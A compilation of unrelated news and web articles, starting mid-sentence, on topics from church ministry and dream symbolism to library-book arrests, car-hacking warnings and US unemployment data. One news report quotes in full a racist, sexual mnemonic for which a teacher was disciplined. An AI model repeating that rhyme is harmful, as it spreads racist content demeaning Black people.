to being a multicultural church ministering and serving cross-culturally.  Worship  The Uniting Church has more than 2,000 congregations and faith communities in every part of Australia . These include small rural congregations to large regional churches, gatherings in homes to large urban congregations, from café churches to other ways of worship. A wide variety of music is used.  The Uniting Church celebrates being a multicultural church and on any given Sunday worship will be held using more than 40 different languages including more than a dozen indigenous languages and many others using more than one language. We are committed to building communities of love and hope where individual lives can be transformed as people journey together in faith and are called to make a difference in their wider communities. All who wish to join this journey are welcome.  Community services  The Uniting Church is the largest non-government provider of community services in Australia , providing services to more than 2 million Australians each year, employing 35,000 staff and 24,000 volunteers nationally. UnitingCare agencies and Frontier Services provide services to individuals, families and communities in every state and territory and at all stages of life.  Our services include aged care; children’s services, youth and family support; disability support; patrol ministry; counselling; emergency relief; and housing and employment assistance. The Uniting Church has many chaplains in different contexts. As a church we deliver community services as one way of expressing God’s love for the world, and our care, with God, for the most vulnerable and disadvantaged people in our communities.  Indigenous relationships  We are committed to partnering with indigenous communities in Australia, recognising the pain and damage caused to our country’s first peoples through European settlement and beyond.  In 1985 the Uniting Aboriginal and Islander Christian Congress was established. Congress is dedicated to seeking the spiritual, physical, social, mental and emotional well-being of indigenous Australians. In 1997 the Uniting Church made a formal apology to the Stolen Generation in recognition of past injustices and in 2010 a new Preamble to the Constitution of the Uniting Church was passed acknowledging indigenous experience.  Justice  In a Statement to the Nation in 1977 the Uniting Church affirmed that a Christian responsibility to society is fundamental to the church.  UnitingJustice resources the Church as it considers its position on issues of national and international importance, such as human rights, refugee policy, peace and the environment. It works collaboratively within the Church and throughout civil society to respond to issues of the day and matters of public policy. UnitingJustice exists as an expression of the Church’s commitment to working toward a just, peaceful and reconciled world, communicating this vision through advocacy with government and activities in the public forum.  Overseas partnerships  The Uniting Church is committed to relationships beyond our national borders.  Through UnitingWorld it has partnerships with churches around the world particularly in the Pacific, Asia and Africa . In long term relationships we contribute to developing transformed local communities where peace and justice reign, poverty is alleviated and assistance is given in times of natural disasters, and we ourselves are transformed. Together we witness to our hope and life in Jesus Christ through the Spirit.  Ecumenical relationships  As part of the one holy catholic and apostolic Church, the Uniting Church is active in ecumenical relationships both within Australia such as through the National Council of Churches in Australia and internationally by being involved in the World Council of Churches, the World Communion of Reformed Churches and the World Methodist Council.  Our Calling under God  As a people journeying together on the way to God’s promised end we:  preach Christ the crucified and risen one and confess him as Lord; and hear his commission to make disciples of all nations;  bear witness to the unity of faith and life in Christ which transcends cultural, economic, national and racial boundaries;  are a fellowship of reconciliation within which the diverse gifts of its members are used for the building up of the whole, an instrument through which Christ may work;  recognise that our response to the Christian gospel will involve us in social, national and international affairs;  uphold basic Christian values and principles, such as the importance of every human being, the need for integrity in public life, the proclamation of truth and justice, the rights for each citizen to participate in decision-making, religious liberty and personal dignity, and a concern for the welfare of the whole human race;  pledge ourselves to seek the correction of injustices wherever they occur; will work for the eradication of poverty and racism; will oppose all forms of discrimination; will challenge values which emphasise acquisitiveness and greed in disregard of the needs of others; are concerned with the basic human rights of future generations and will urge the wise use of energy, the protection of the environment and the replenishment of the earth’s resources;  affirm that the first allegiance of Christians is to God made known in Jesus of Nazareth, the one who gave his life for others. In the Spirit of his self-giving love we seek to go forward.  (Based on the Basis of Union and the Statement to the Nation, 1977)
-Dream Interpretation | Spiders and Webs  Dreams featuring spiders and webs are often creepy like a Halloween movie made by Alfred Hitchcock. Once you understand the symbolism you’ll see that there’s usually nothing to really fear, but there could be something to be wary of or some sort of danger lurking.  To begin understanding what spiders in dreams mean, think about your associations with them. There is no universal interpretation for any creature in your dreams, but there are common associations that form the basis of most symbolism.  A common association with spiders is they weave webs and sit back waiting for victims to get entangled. The spider can then take its merry time wrapping up and eating its prey. Spiders are patient and methodical.  Now compare that to waking life. Have you ever been “entangled” in a situation that was “sticky?” Do you know people who lay traps that ensnare others? These associations are ready-made for dreams about spiders and webs, like this dream about spiders posted at Reddit Dreams.  Looking back on that dream, I wish I would’ve picked up on the obvious: laying in bed with the girl probably symbolizes the dreamer’s attraction to her, since beds are where we dream and “dreams” in one sense can mean the things we wish for. But she has a boyfriend, a friend of the dreamer, and now we start to see a “sticky situation” taking shape. She might be trying to keep the dreamer “in reserve” like a spider’s meal wrapped in webbing so that if something happens with her current boyfriend, she has a guy to fall back on. There might be a subconscious competition between the guys for the girl.  Poor guy doesn’t know he’s being played, but his dreams do.  During my conversation with him at Reddit, he expressed a deep fear of spiders. Here is where personal associations come into play, because if you fear spiders, they can be used by your dreams to symbolize any fear. If you don’t fear spiders, your dreams can’t scare you with them!  Now we get into a deeper lesson about dream symbolism. Dreams have a reason for every detail they provide and every symbol they use. A spider that symbolizes fear is going to somehow be associated with related ideas about spiders, such as fear of entanglement, of being trapped, of loss of control, or of predatory people. A spider is not likely to be used to symbolize, say, fear of water because spiders are usually not found there.  However, a personal association of yours could come into play in a dream if you’ve ever encountered a spider in the water. See how it works? Use the link earlier in this paragraph to explore that idea further.  Spiders have close connection with anxiety because of how they produce anxiety in people who fear them. Just the thought of something lurking beneath your bed covers or in the corner of a room is enough to give some people the creeps. Snakes have a similar association, because even if you are not scared of snakes, you know to be careful around them. Anxiety is more about what could happen than what did or will happen.  Speaking of fear of spiders, this dream about fearing a spider illustrates it for the dreamer and suggests how to get over it. Here is the condensed version:  I’m at work and find a huge, hairy brown spider. I immediately felt a few things: fear, panic, desire to run. In the meantime.. one of the senior techs in my lab who I have the upmost respect for, and a little bit of fear of, caught said spider and placed it in a sort of container that magnified it and made it look even bigger. She kept trying to force the spider on me.  The spider in the jar is magnified so it looks bigger and nastier than it really is. That’s a big clue that the dreamer’s fear of spiders is blown out of proportion. He makes it bigger than it really is. Spiders in general are no threat to humans, but if you fear something you give it power over you.  Since the dreamer admires the co-worker, the co-worker’s presence in the dream is a suggestion. The co-worker doesn’t fear spiders, and the dreamer can use that as an example. We learn from and model ourselves after the people we admire. This dreamer can learn to overcome his fear of spiders by emulating the co-worker.  And this next tidbit is interesting. Turns out, research has shown that the greater a person’s fear of spiders, the bigger spiders appear to them.  Here is a dream featuring an ex girlfriend and spider webs. The intrigue and “tangled web” she weaves….  In this dream about a Black Widow spider, the dreamer is thinking about his ex-girlfriend trying to work her way back into his life. He knows she is scheming, weaving a web of intrigue. The condensed version:  Some kid from the grade above me back in high school is with me in my old town lifting up sewer grates to show me that there are tunnels under them. Suddenly I realize there is a Black Widow on me, no matter what I do I can’t get it off ’cause it crawls somewhere else or its webs are stuck on me. It never bit me though. But I felt uneasy and it made me wake up.  The dreamer associates his ex-girlfriend with a Black Widow. Her schemes are the webs that stick to him. The underground tunnels symbolize the underhanded way she’s trying to tunnel back into his life. He can’t seem to get rid of her.
-Teacher who taught pupil racist 'rape' rhyme so he could remember lesson is guilty of misconduct  A supply teacher who taught a racist rhyme to a pupil - which included the vile phrase 'Black Boys Rape Our Young Girls' - has been found guilty of professional misconduct.  James Hersey, 68, taught the shocking mnemonic to a 16-year-old boy who was revising a wiring colour coding system for electronic resistors.  He taught the boy the ditty: 'Black Boys Rape Our Young Girls, But Virgins Go Without.' Each word represents the first letter of the colours in the code which are; black, brown, red, orange, yellow, green, blue, violet, grey and white.  Teacher James Hersey of Hove, East Sussex, holding a circuit board: He claims the rhyme he was taught in the 1950s helps to remember a colour coding system for resistors  When the Year 11 pupil asked for help in remembering the code, Mr Hersey wrote part of the rhyme down on a piece of paper and showed it to him.  Mr Hersey was sacked on the spot after the boy told another teacher what he had been taught.  He was found guilty of unacceptable professional misconduct because of the rhyme's 'racist and sexual content' by a disciplinary hearing of the General Teaching Council (GTC).  He was told the mnemonic was 'inappropriate in more enlightened times' and that it failed to 'demonstrate respect for diversity and promote equality'.  Mr Hersey, who attended the hearing in Birmingham on Thursday, was given a reprimand which will stay on his record for two years.  Chairman of the panel Paul Bird told him: 'Whilst teaching a Year 11 engineering lesson on Thursday 18 March 2010, you communicated a rhyme to Pupil A that was racist and inappropriately sexual.  'I am an old-fashioned teacher and what I told the pupil was a historical fact... Teachers nowadays are not allowed to teach. Political correctness has gone over the top,' said James Hersey  'The words intended to represent the resistor colour code are, on any reading, both racist and inappropriately sexual.  'The committee is concerned that Mr Hersey has demonstrated only partial insight into the inappropriateness of the 'rhyme' in the 21st century.'  The panel heard that Mr Hersey breached the Code of Conduct and Practice for Registered Teachers which states staff must 'demonstrate respect for diversity and promote equality'.  Mr Hersey has 28 days to appeal the ruling.  Speaking from his home in Hove, Brighton, Mr Hersey today defended his teaching method, saying it was 'a naughty saucy rhyme'.  He said: 'I am an old-fashioned teacher and what I told the pupil was a historical fact.  'I am not a racist or a sexist and I have taught pupils of all nationalities.  Supply: James Hersey was working at Oriel High School in Crawley, West Sussex when he taught the racist rhyme to a pupil  'The pupil I was helping with revision asked me how I remembered the code and I told him about a naughty saucy rhyme I was taught when I was at Brighton Polytechnic in the 1950s.  'The fact that the word black is in the rhyme is because that is the first colour in the code.  'I also have an issue with the GTC claiming the rhyme was somehow sexual because rape is not a sexual act.'  Grandfather-of-three Hersey, who worked as a supply teacher for 14 years before he was sacked last March, added: 'Teachers nowadays are not allowed to teach.  'Political correctness has gone over the top. Teachers are also treated like the lowest of the low while the kids can get away with murder.'  Mr Hersey said he had now decided to retire from teaching and had no intention of returning to the classroom.
-When Tony Blair became prime minister in May 1997, he had a landslide majority, an approval rating of 93 per cent, and he went on to become Labour’s longest-serving premier. At his last PMQs he got a standing ovation in the chamber of the House of Commons. How things have changed. Nowadays all we hear about is the accusations of lies, hubris and money-making business deals.  But is this disillusionment justified? To assess the record of this extraordinary politician, Intelligence Squared staged Tony Blair on Trial. Levelling the charges against him was Tom Bower, the investigative journalist who is about to publish his most explosive book yet: Broken Vows: Tony Blair and the Tragedy of Power. Bower admits that he shared the hope and excitement that millions felt when Blair took office promising a New Labour programme of modernisation and reform. But that general optimism was swept away by the controversy over the Afghanistan and Iraq invasions, and the ‘dodgy’ dossiers about Saddam Hussein’s weapons of mass destruction. The spin didn’t stop there, Bower argued. Blair’s claims to have improved Britain’s schools, hospitals and welfare services all came under his forensic spotlight. As for Blair’s record since leaving office, how is it, he will ask, that the man who risked his government to destroy Slobodan Milosevic and Saddam Hussein has earned a fortune advising leaders of highly dubious regimes?  All this is a travesty, according to David Aaronovitch, award-winning columnist on the Times, who defended Tony Blair in our event. The problem, as Aaronovitch sees it, is that the political classes hate Blair. The Left have never forgiven him for proving them wrong and the Right have never forgiven him for defeating them. But in the country at large, Blair’s legacy is overwhelmingly impressive. Take education. Teaching standards were raised, and flagship programmes such as the academies and Teach First, which fast-tracks bright graduates into London’s toughest schools, were instigated and later embraced by the Coalition. Childcare was provided for millions of working parents for the first time. The same thing happened on health. Without Blair’s NHS reforms it is hard to know how the system would have coped. The minimum wage, equal rights for gay people, a Welsh Assembly, a Scottish Parliament, a London mayor – many of these initiatives were controversial when first proposed but are now part of the political consensus. As for military intervention, Aaronovitch pointed to the success stories of Kosovo and Sierra Leone, and argued that the current crisis in the Middle East is more the result of the West’s refusal to act than any failure of Blair’s.  As Labour’s warring tribes – the Blairites and Corbynites – threaten to tear the party apart, there is no better time to examine the legacy of the man who reinvented Labour and triumphed in three general elections, but who is now one of this country’s most controversial figures. As they slugged it out, Bower and Aaronovitch called upon their specially chosen expert witnesses to bolster their case.
-DUNEDIN, Fla. – By the end of the 2017 season, Toronto Blue Jays president and CEO Mark Shapiro expects to have plans in place for both a new spring training facility and a Rogers Centre renovation that will run into the hundreds of millions of dollars.  The two projects remain in the planning stages, with a funding proposal for a revamped stadium and training site in Dunedin, Fla., currently under examination by officials at the Pinellas County level, and themes for what might be done at the dome emerging.  In that vein, the installation of natural grass at Rogers Centre remains a consideration although it may very well be an unlikely one with money instead being focused on a reworking of the seating bowl, expanded concourses and the creation of distinctive areas for different game-watching experiences.  “(Natural grass) is one of the decisions that has to be made in the context of the broader master plan that we’re still considering,” Shapiro says in an interview. “There is never a question of whether grass is preferred to artificial turf – grass is clearly preferred to artificial turf. It’s only going to be a question of what are going to be the one-time costs of retrofitting the entire stadium to do something it’s not equipped to do, which is irrigate, provide drainage, provide sunlight for times when the roof is not open to keep grass alive.  “Then there’s the annual commitment in costs that would create as well, and then weighing that versus how else you could spend that money on other things. By no means have we made that decision, but we’re going to look at that in the context of the other one-time decisions of renovation and on the annual basis of how else we can spend that money to help us win.”  Already the Blue Jays are spending money on the Rogers Centre, with a new $1-million weight room installed over the winter and waterproofing work taking place on the concrete exterior. The retractable roof must also be replaced in the coming years, along with other less exciting upkeep tasks for a stadium that first opened in 1989, which is why Shapiro insists the entire project must be viewed holistically.  The Blue Jays have hired a design firm and at this point, “what we do have is themes that through focus groups and through research and through industry trends and analysis provided clear ideas of what we would be looking to achieve in a re-envisioning – and I call it a re-envisioning rather than a renovation – of the stadium.”  “No. 1,” Shapiro continued, “would be to turn the stadium into a ballpark. Very simply that would be a top priority for us, which means (providing) a modern ballpark experience for our fans. What I would hope is that by mid-summer we have those concepts fully flushed out, a potential set of loose designs, not plans but loose designs along with some costs so I can begin to have those conversations with ownership.”  While coming up with a vision for the dome and obtaining the funding are the primary challenges, a more complicated matter may be how to get the construction done without leaving the Blue Jays homeless.  “How do we play, understanding that we only have 20 weeks a year to do construction, or do we do some construction while we play?” says Shapiro. “I don’t have answers, those are the range of questions that have to be considered, because there’s no place else for us to play.”  The Dunedin project is further along, with concepts for a refurbishment for Florida Auto Exchange Stadium already drawn up although the new facility the Blue Jays want for the Bobby Mattick Training Center remains conceptual.  Architectural drawings won’t be drawn up until the funding is in place.  “We have what I’d call a program,” says Shapiro. “We have, room by room, what the square foot needs are. We haven’t yet laid that into a plan, although we have done a little bit of that and we’ve also thought about from a land-use perspective, this is where we might put a building, this is where we’d put 6½ fields, this is where we’d put a covered half-field, this is where the cages would go, that kind of thing.”  The Blue Jays gained Dunedin’s approval to seek funding for the $81-million project from the county back in September. Under the plan, Pinellas County would contribute about $46 million, the Blue Jays about $15.7 million, the state about $13.6 million and the city $5.6 million.  “The county has a process to walk through that both involves the (Tourist Development Council) and the country commission in determining if they’re going to agree to our funding proposal,” says Shapiro. “By the end of the season we’re going to have a plan in place. That plan might be we have to reconsider where we are from a spring training perspective. I hope not. You’ll seldom hear me say I’m optimistic, but I’m optimistic that’s not the case, I’m optimistic we’ll get something done here. But that’s not assured yet, that’s still very much something that’s being negotiated.”  A new spring facility has been one of Shapiro’s top priorities since taking over the job in November 2015. He had hoped to find a way to bring the Blue Jays’ spring stadium and training facilities together on a single site, but noted the team has “compromised already” by agreeing to an alternative plan in which all the training will be done at Bobby Mattick with the stadium used only for games.  The current separation “is a logistical challenge,” says Shapiro. “There’s not a time that I get in the car it doesn’t irk me a little bit that I’m driving 15 minutes to get to the other side. … It’s a challenge for us, not impossible, but a challenge for us until that happens. In my mind from the time I interviewed here, that is among the highest priorities.”
-This undated booking photo provided by the Copperas Cove Police Department shows Jory Enck. In October, police were called to Enck's Copperas Cove, Texas, apartment on an unrelated disturbance charge, but arrested Enck after finding a past warrant for an unreturned GED study guide. He was released on a $200 bond, then requested time-served. Enck, who has since returned the book, said he couldn’t bring it back initially because he was in prison. He checked it out before beginning a 3-year sentence for robbery. AP Photo/Copperas Cove Police Department Have an overdue library book? It could get you fined — even jailed — in Texas, other states  AUSTIN, Texas (AP) — Call it throwing the book at the bookworms.  A Texas man who was arrested for failing to return an overdue library book ignited an online flurry of snarky comments and headlines about the Lone Star State extending its tough-on-crime bravado to books. But such cases aren't unheard of, and many communities faced with shrinking budgets and rising costs have ordinances calling for fines or even arrest warrants when library property isn't returned.  In Texas alone, the issue has cost libraries an estimated $18 million.  Jory Enck learned that the hard way. He was arrested for not returning a GED study guide that he checked out three years ago in the Central Texas community of Copperas Cove. Enck declined comment to The Associated Press, but he told the Killeen Daily Herald that he wouldn't set foot in a library again: "I think I will probably just purchase a book from Amazon."  A Texas state law took effect in September that defines the failure to return library books as theft. The law, which doesn't trump stricter community ordinances, mandates up to a $100 fine per offense.  Other states also call for fines or even arrest warrants in such cases, including Iowa — where an overdue-book offender was jailed for a week — Vermont and Maine.  In Copperas Cove, about 70 miles northwest of Austin, a 2002 ordinance mandates a $200 fine for each library item that goes unreturned 20 days after a written notice is sent demanding its return. If the fine isn't paid, the municipal court issues a warrant, city spokesman Kevin Keller said. Keller said he didn't know how many people had been jailed on library-related offenses.  "I was a police officer for 12 years, and while it wasn't a regular daily thing, we had maybe a couple of these a year," he said, adding that he didn't know why Enck's arrest in October got so much attention.  In that case, police were called to the 22-year-old's apartment on an unrelated disturbance charge, but officers arrested him after finding a past warrant for the study guide. Enck was released on a $200 bond, requested time-served — and returned the book. He said he couldn't do it earlier because he checked it out before beginning a three-year prison term for robbery.  Being jailed for absconding with library materials "is an uncommon occurrence, but can happen once in a while," said Mark Gould of the Chicago-based American Library Association. But he said there was no accurate count on how many states and communities issue arrest warrants.  It's an issue that has cost libraries a lot of money. Nearly 150 libraries in Texas participated in a survey earlier this year that found 966,000 items were checked out long enough to be considered lost, with the total cost exceeding $18.2 million, said Gloria Meraz, a spokeswoman for the Texas Library Association.  Among the most notable library-related arrests came in 2011, when a man from Newton, Iowa, served more than a week in jail for failing to return 11 library books and six CDs worth $770. Iowa law classifies failure to return library materials as theft, and the town has a 1993 ordinance, said Sue Padilla, director of the Newton library.  Padilla said she saw a spike in returned overdue materials after the arrest.  "We did notice that some things that had been out for quite a while did suddenly come back," she said.  The library hasn't been back to court since that case, she said. She said going to court was a last resort, but that "we try to be good stewards of those things that were purchased with taxpayer funds."  Other notable cases include police visiting the home of a 5-year-old in Charlton, Mass., last year to collect overdue books. Also last year, police in Freeport, Pa., called the home of a 4-year-old whose family had racked up more than $80 in overdue fines for four books.  Back in Texas, two women in Baytown were arrested following traffic stops in 2006 and 2010, after police discovered they had outstanding warrants for unreturned library books.  Indiana-based Unique Management Services is a collection agency that works with more than 1,600 libraries nationwide to recover overdue materials and administer fines and fees. During sluggish economic times, libraries became more anxious than ever to recover unreturned books, said Kenes Bowling, the agency's customer development manager.  "They feel the budgetary pressure, no doubt," Bowling said. "But what we've seen over the years is that, no matter what the library does, there's still a percentage of folks who need third party encouragement."  That includes a woman whose excuse for unreturned books ranks as Bowling's favorite: He said she claimed the leg on her dining room table had broken "and the stack of books under it were just right."  Copyright (2013) Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.
-Ryan Gosling knew this was going to happen. His directorial debut screened in the Un Certain Regarde category of Cannes and, naturally, packed the house as if it was the most highly buzzed Palme D’Or contender of the year. Two hours later the film ended, and people took to Twitter in disbelief, shock, and sarcasm engaged to the max. Yet, the film already began building a loyal fan base who defend its great aesthetics, originality, and the fact that it’s never boring. But getting your teeth pulled out by rusty pliers is probably never boring either. After making whatever Lost River is, there’s no way Gosling didn’t expect exactly that kind of reaction. Is there a point in even laying out the plot here? A mother (Christina Hendricks) works in a seedy bar and has to take care of two boys, one of whom is nicknamed Bones (Iain De Caestecker) and is sort of our protagonist. After getting news that they’re about to get displaced, she takes another job in an ever seedier bar, operated by her banker Dave (Ben Mendelsohn) so that she can pay three months in advance. Meanwhile, Bones attempts to outwit a local gang leader called Bully (Matt Smith) to help with the rent, and gets moral support from a friend called Rat (Saorise Ronan). Yes. Bones, Bully, and Rat.  The actors do a decent enough job and go beyond the call of duty that their names suggest, but it’s Mendelsohn who outshines everyone and truly looks like he belongs in the fucked up world Gosling juke-boxed together. The film spins out of control quite quickly and goes into experimental mode; becoming a lab for Gosling to play around with a Greatest Hits collection of influences (David Lynch, Nicolas Winding Refn, and Gaspar Noe most notably, though the re-occurring image of burning buildings recalls one of my favorite cinematic shots, possibly ever, from Akira Kurosawa’s Ran) without needing to make much sense. The idea is to evoke a nightmarish atmosphere and make the whole thing into some form of parable for the housing crisis in middle America, or you know, he’s just fucking around. Whatever it is, he’s got me cursing for the first time in a Cannes review and that’s because most of the scenes, as great as they look (an image of a burning bicycle, the macabre bar where Hendricks begins to work, and the images of her in the plastic suit are undeniably striking and get etched into your mind, for better or for worse) don’t amount to anything substantial. This isn’t just style over substance, this is style raping substance.  The music deserves a mention, however, because (and this is a direct Refn influence) the electronic notes work in sinister fashion to help the overall grotesqueness occurring on-screen. If there was a Cannes award for Best Soundtrack, Lost River would be a shoe-in. As it stands, it’s nothing more than a first-time director’s messy homage to some of his favorites. The reason it’s getting so much attention, and will most likely go down as a cult favorite in certain circles, is because the director happens to be Ryan Gosling. Thanks to his name, though, he manages to assemble artists like Mendelsohn, Ronan, cinematographer Benoit Debie, and composer Johnny Jewel who elevate this psychedelic bad trip from complete disaster into a twisted kind of entertainment.
-Maharashtra government’s decision to require only 51% of the members to give their approval for a housing society to be redeveloped is set to boost the housing redevelopment sector in the city. Earlier, 70% approval was needed.  Chief minister Devendra Fadnavis recently took this decision as the Maharashtra Co-operative Housing Federation was making this demand for many years.  There are many old buildings in Pune, Mumbai, Thane, Nashik and other cities. The buildings, which are more than 30-years-old are being mainly considered for redevelopment. Though most members from these housing societies are in favour of redevelopment, often it becomes difficult to pass the proposal when even a few are opposed to it.  Land is at a premium in terms of availability in the metro cities. Naturally, the future of real estate future is redevelopment. Most factors, like citizens not wanting to shift to other parts of the city, lend to much support for redevelopment.  The benefits of redevelopment are many, including new amenities, better construction and additional facilities like elevators and fire systems.  Maharashtra Co-operative Housing Federation director and Pune District Co-operative Housing Societies president, Suhas Pathwardhan, welcomed chief minister Fadnavis’ decision.  Pathwardhan said, “Many people living in housing societies are willing to do redevelopment as there are many benefits. One thing usually they get is a little more area in the new building, plus new amenities and other facilities linked with technology.”  There still are some members who make it an ego issue and oppose the redevelopment of a society, according to Pathwardhan. Sometimes they move court to oppose the resolution.  However, this latest government decision to bring the number of members needed to clear a redevelopment plan down to 51% from 70% is likely to work in favour of those supporting redevelopment.  Pune District Co-operative Housing Society secretary, Manisha Koshti, said that it is a good decision and housing society will get the benefits of redevelopment.  Gokhale Builders managing director Vishal Gokhale said that redevelopment is the future and this decision will help to boost the housing sector.  Why is redevelopment beneficial?  - Citizens get a new home at the same place they were residing in  - Once a housing society is 30-years-old, it is mandatory to do a structural audit of each building. Old housing societies, therefore, prefer to do a redevelopment  - Citizens get a new drainage system, water system along with other amenities like elevators and fire safety system  - There are many old wadas and old buildings in Pune, Mumbai, Thane and Nashik city which will benefit through this decision  First Published: Aug 08, 2017 12:09 IST
-To some people, the idea for an iPhone app designed to let students record video statements of agreement before engaging in sexual activity sounds like a bad joke. Or perhaps just a well-intended overuse of technology.  But Michael Lissack has come up with a set of such apps, and he defends them as a way to reset the conversation around sex on the campus.  His creation, called We-Consent, is actually three apps — one that lets students document mutual consent to a sexual encounter by video-recording a conversation about it with the cellphone’s camera, and two "no" apps that record an individual watching a message on the phone that clearly states "no," so there is a record of that individual having received the message.  Mr. Lissack, who is executive director of the Institute for the Study of Coherence and Emergence, said the videos are encrypted and unhackable; they don’t save onto a user’s phone, but they are stored in an offline database. The only time the videos can be viewed is when there is a legal reason to disclose them, such as a court proceeding or university adjudication.  Right now, the two "no" apps are available through the App Store on Apple's iTunes, but the yes app is accessible only on the apps’ website. Mr. Lissack said that Apple considered the yes app "icky."  Mr. Lissack said he got the idea for the app last fall, during debates about the new sexual-assault policy at Harvard. For Mr. Lissack, "there had to be a better way" to ensure that both people involved had consented to sexual activity.  He said he hopes the apps will facilitate more open and clear discussion between partners about engaging in sexual activity, and will mitigate any prior confusion.  The Chronicle talked with Mr. Lissack to learn more about the app. An edited and condensed transcript of the conversation follows.  Q. Just asking for consent during sexual activity is difficult enough. Wouldn’t bringing in a phone make things even more complicated?  A. From my perspective it works as follows. The current societal standard is no means no. We are asking for that standard to change. That means, if you’re asking us to put it in computer language, the default assumption is being reset. That requires work. If you merely depend on the conversation itself with no props, that is harder than if you provide a context which makes it easier. The purpose of these apps is to create or help create that context.  Advertisement  Q. Do you really think that when people are about to become intimate, they’re going to reach for their phone and go through these processes?  A. If both parties agree to have a conversation, then the objective has already been reached. What is it that’s going to cause the conversation to happen? Having it on the phone is a cause for the conversation. Whether or not they actually use the app is not the same as the fact that it’s there, because it’s the fact that it’s on the phone that changes the context.  Q. What do you mean?  A. People [in college] have their phones within two feet of them at all times. Let’s be blunt. If one or both of you know you have this app on your phone and you know that you're supposed to be engaging in this discussion, and you know that unfortunate things may happen after the event that cause people to re-evaluate, which is part of the importance for both sides if they respect each other of actually having the conversation — it’s just easier to know the prop is there.  Q. A lot of the discussion about the app seems to be revolving around legal issues after the fact, after the sexual activity occurs. I am wondering if that’s the main intent of the app, as opposed to preventing sexual assault or harassment?  A. First off, "preventing" is always an interesting word. If someone is intent on doing it, there isn't an app in the world that’s going to prevent them, other than dialing 911 and hoping that the police get there first. So if you have picked an unfortunate partner who is intent on committing violence upon you, the correct app to use is 911, don’t use this thing. On the other hand, that’s not what most of these situations are about. Most of these situations are about, let’s face it, people being sloppy with one another and deciding to engage in activities that have not been fully discussed.  So what’s the main purpose? The main purpose is to change the conversation. If these apps work the way they should, in a year or two if people go to a frat party, instead of the base assumption being everyone in attendance is available for hooking up, the base assumption will be, if you wish to hook up, talk about it first.  Q. Who is going to be using this app?  A. Our target market for the summer is we are marketing this to every coach of a men’s team.  Q. Why that approach?  A. Who seems to be mostly involved with scandals? Athletic teams and fraternities. The fraternities are not around during the summer, but the coaches are. We’re going to start a fund-raising campaign in a couple of weeks to try to get people to provide money so that any coach that requires his or her team to make use of the app might be able to get it free for their athletes.  Q. In what context would athletes be using the app? Would they already be in a relationship? Would it be after a —  A. Put yourself in the role of a coach. … What’s the easier way to make sure that [a sexual-assault scandal] doesn't happen? You tell your athletes that they are required to use the app. You may have to have discussions with them every few weeks to make sure they're doing it, but from the peace-of-mind side of the coach who’s worried about scandals and stuff, [part of the job] is teaching [athletes] about what affirmative consent is, how to be much more respectful of themselves and their partners, and how to make better life choices. So again this becomes a tool in the arsenal.  Q. One big thing we see in the conversation about sexual assault is intoxication. How do you think the app will account for a yes that’s said when somebody is intoxicated?  A. Well, we’re making a video. If you’re noticeably intoxicated, presumably it will show on the video.  Q. Has anyone tested this app yet, and seen if it worked?  A. Have people tried it with each other? Sure.  Q. Do you think it’s been successful?  A. By definition, if you use the app, you are having a conversation. It is very difficult to use the app in the absence of a conversation. I mean, what are you going to do? It triggers the obvious. Why are we recording this? … Why is this voice asking me if we’re going to have sex? It’s a difficult app to use without a conversation. And the point of the app is the conversation. So by me, yes, anytime anyone’s actually used it means that it’s triggered a conversation, and that’s a success.
-The FBI has issued a warning that modern cars are "increasingly vulnerable" to hacking after researchers proved it is possible to disable brakes and manipulate steering remotely.  An official public service announcement released by the FBI on Thursday warned that it is possible for hackers to “gain significant control over vehicle functions remotely by exploiting wireless communications vulnerabilities”.  The announcement explained that new technology designed to enhance safety and improve fuel economy has led to increased connectivity, which has made vehicles more vulnerable to attacks.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  “Modern motor vehicles often include new connected vehicle technologies that aim to provide benefits such as added safety features, improved fuel economy, and greater overall convenience," it read.  “With this increased connectivity, it is important that consumers and manufacturers maintain awareness of potential cyber security threats."  Over the past year researchers have proven it is possible to develop methods of targeting the active cellular wireless and WiFi hotspots in vehicles.  They found that while attacks over WiFi were limited to a distance less than 100 feet from the car, they were able to achieve engine shutdown, disable brakes and manipulate steering when cellular connection was made.  The PSA provided advice on how to avoid remote exploits on vehicles. It stated that it is important to ensure vehicle software is up to date and to be careful when making modifications to vehicle software.  It also warned that drivers should be aware of who has physical access to the vehicle.  “It is important that consumers and manufacturers are aware of the possible threats and how an attacker may seek to remotely exploit vulnerabilities in the future,” the announcement added.  Last year Fiat Chrysler recalled 1.4 million vehicles in the US after security researchers remotely controlled a Jeep. In January 2015 BMW AG said it had fixed a security flaw that could have allowed 2.2 million of vehicle doors to be remotely opened by hackers.  People who suspect their car has been hacked are advised to get in contact with the vehicle manufacturer or authorised dealer.
-Every month, the federal Bureau of Labor Statistics releases a flood of data about employment and unemployment in the U.S. And every month, the lion’s share of the attention goes to one figure – the unemployment rate, which was a seasonally adjusted 4.8% in January. (The February report comes out on Friday.)  But the unemployment rate is just one indicator of how the U.S. economy is doing, and it’s not always the best one. Simply being out of work isn’t enough for a person to be counted as unemployed; he or she also has to be available to work and actively looking for work (or on temporary layoff). In any given month, the unemployment rate can rise or fall based not just on how many people find or lose jobs, but on how many join or leave the active labor force.  There are, in fact, five other monthly measures of what the BLS calls “labor underutilization” besides the official unemployment rate, as well as scores of other measurements – labor force participation rates, employment-population ratios, average weekly wages, average hours worked and more. Knowing what those other data points are, where they come from and how they’re calculated is critical in understanding what they do – and don’t – tell us about the nation’s workers.  Take the concept of unemployment. Since U.S. economists first began trying to systematically measure unemployment in the 1870s, one of the main issues has been defining exactly what “being unemployed” means – since many people who don’t have jobs, such as retirees and students, may not actually want paying work. (As the BLS itself noted once upon a time, “Being employed is an observable experience, while being unemployed often lacks that same concreteness.”)  Since 1945, the official definition has been that to be considered unemployed, you must not only not have a job but be available for work (i.e., not too sick to work) and have actively looked for a job in the past four weeks. If you’re neither employed nor, according to the official definition, unemployed, you’re not considered part of the labor force.  The BLS derives its unemployment data from the Census Bureau’s Current Population Survey, which interviews about 60,000 people each month (and not, as is sometimes supposed, by counting how many people drew unemployment benefits). The CPS covers the entire civilian non-institutional population ages 16 and older, including self-employed people; prison inmates, residents of mental facilities and homes for the aged, and active-duty military personnel are excluded. (A separate survey of 146,000 private- and public-sector employers produces the monthly nonfarm-payroll numbers.)  Since 1994, no major changes have been made in how unemployment is measured, though there have been some modest updates to the CPS over time. For example, a 2010 change raised the upper limit on reporting how long someone has been jobless from “99 weeks and over” to “260 weeks and over” in order to 